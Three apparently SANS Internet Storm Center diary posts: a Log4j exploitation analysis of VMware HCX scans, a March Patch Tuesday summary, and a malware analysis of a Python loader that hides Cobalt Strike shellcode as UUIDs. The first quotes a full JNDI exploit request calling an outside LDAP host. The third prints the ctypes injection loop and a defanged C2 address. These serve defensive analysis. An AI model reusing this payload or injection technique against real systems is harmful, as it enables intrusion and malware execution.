Today, I noticed increased scans for the VMWare Hyprid Cloud Extension (HCX) "sessions" endpoint. These endpoints are sometimes associated with exploit attempts for various VMWare vulnerabilities to determine if the system is running the extensions or to gather additional information to aid exploitation.

Initially, based on the URL, I suspected brute forcing. However, after reviewing some complete requests (see below), it turns out that these attempts are exploiting the Log4j vulnerability.

The specific URL seen above is 

/hybridity/api/sessions

This particular request is likely used to brute force credentials. the "sessions" endpoint expects a JSON payload with the username and payload like:

{
  "username": "admin",
  "password": "somecomplexpassword"
}

The response will either be a 401 response if the authentication failed or a 200 response if it succeeded. A successful response includes a "sessionId", which will be used as a bearer token to authenticate additional requests.

UPDATED ANALYSIS

Initially, I did not have access to the request payload. However, after reviewing the payload of a few samples, it looks like these are not brute-force attempts. Instead, they are exploiting the Log4j vulnerability via the "username" parameter, which is likely logged and VMware is using the Log4j library and was vulnerable to the related vulnerability.

Complete request:

POST /hybridity/api/sessions HTTP/1.1
User-Agent: Mozilla/5.0 (CentOS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Connection: close
Content-Length: 169
Accept: application/json
Content-Type: application/json
Origin: https://[victim IP]:4443
Accept-Encoding: gzip

{\r\n  "authType": "password",\r\n  "username": "${jndi:ldap://${:-670}${:-930}.${hostName}.username.cv7u8tq2cnhfm80gc3n0npwaauo98azq9.oast.live}",\r\n  "password": "admin"\r\n}

So far, we see these requests mostly from one IP address: 107.173.125.163 using randomized valid user agents. The IP address was first seen yesterday in our logs and is scanning for Log4j vulnerable systems, particularly by accessing login pages. These other attempts likely use a payload similar to the request above.  See this page for a complete list of requests sent by this IP address.

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

The March patch Tuesday looks like a fairly light affair, with only 51 vulnerabilities total and only six rated as critical. However, this patch Tuesday also includes six patches for already exploited, aka "0-Day" vulnerabilities. None of the already exploited vulnerabilities are rated as critical. 

Today's most interesting vulnerability is a not-yet exploited critical vulnerability (CVE-2025-24064) that affects the Windows Domain Name Service. A remote code attacker would exploit this vulnerability by sending a "perfectly timed" dynamic DNS update message. Many Windows DNS servers support dynamic updates, making assigning hostnames to internal IP addresses easier. It is unclear if the server is exploitable if dynamic updates are disabled.

Three of the exploited vulnerabilities affect the NTFS file system. One may lead to remote code execution. The other two are considered privilege escalation vulnerabilities. The remote code execution vulnerability, CVE-2025-24993, is due to a heap-based buffer overflow. Typically, these types of vulnerabilities are exploited when mounting a corrupt file system.

CVE-2025-24985 is related to the Windows Fast FAT File System Driver. Again a heap-based buffer overflow, or "Integer Overflow/Wraparound", the vulnerability allows for remote code execution. The attacker may be remote for both the NTFS and FAT issues, but the attacker will likely upload the corrupt VHD disk image to the victim and mount it locally. Of course, the attacker may just provide the VHD file and trick the victim into mounting it locally.

The two remaining already exploited vulnerabilities affect a security feature bypass in the Microsoft Management Console and a privilege elevation vulnerability in the Win32 kernel subsystem. 

Three of the critical vulnerabilities affect the Windows Remote Desktop Services. Systems are vulnerable if they act as a remote gateway. This is important because gateways are likelier to be exposed to the internet. However, the attacker will also have to win an unspecified race condition, often resulting in less reliable exploits.

The remaining critical vulnerabilities affect Microsoft Office and the Windows subsytem for Linux.

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

I returned from another FOR610[1] class last week in London. One key tip I give to my students is to keep an eye on "strange" API calls. In the Windows ecosystem, Microsoft offers tons of API calls to developers. The fact that an API is used in a program does not always mean we are facing malicious code, but sometimes, some of them are derived from their official purpose. One of my hunting rules for malicious scripts is to search for occurrences of the ctypes[2] library. It allows Python to call functions in DLLs or shared libraries.

Example:

import ctypes
new_page = ctypes.windll.kernel32.VirtualAlloc(0, page_size, 4096, 64)

I spotted a malicious Python script that uses the following API call: UuidFromStringA(). This function converts a UUID string to its binary format. 

A UUID (Universally Unique Identifier) is a 128-bit value commonly used in software systems to provide a practically guaranteed unique reference. It is represented as a string of hexadecimal digits often divided into five groups. Because of their structure and generation process (timestamp-based or random), UUIDs have an extremely low chance of collision, making them ideal for identifying objects or records across distributed systems where a central authority to track uniqueness[4] may not exist.

The Python script I found contained an array of UUIDs that, once decoded in raw bytes, was injected in memory as a shellcode:

This technique allows the malware to remain below the radar because the VT score is only 2/61! Its SHA256 is 63733d412c82958055a8125e1499d695aa1e810b3577c6e849a90012c52da929[5].

The code is decoded with a simple loop then injected in memory:

for i in shellcode:
    io = ctypes.windll.Rpcrt4.UuidFromStringA(i, rwxpage1)
    rwxpage1 += 16

This code is a CobaltStrike HTTP x86 shellcode beaconing to: hxxp://182[.]61[.]60[.]141:6666/tFl6.

Indeed, it is pretty easy to convert a binary file into an array of UUIDs. You need to read the shellcode in 16-byte chunks (each UUID is 128 bits, or 16 bytes) and interpret each chunk as a UUID. This technique has already been used by the Lazarus group in the past[6].

[1] https://www.sans.org/cyber-security-courses/reverse-engineering-malware-malware-analysis-tools-techniques/
[2] https://docs.python.org/3/library/ctypes.html
[3] https://learn.microsoft.com/en-us/windows/win32/api/rpcdce/nf-rpcdce-uuidfromstringa
[4] https://www.uuidtools.com/decode
[5] https://www.virustotal.com/gui/file/63733d412c82958055a8125e1499d695aa1e810b3577c6e849a90012c52da929
[6] https://www.nccgroup.com/us/research-blog/rift-analysing-a-lazarus-shellcode-execution-method/

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key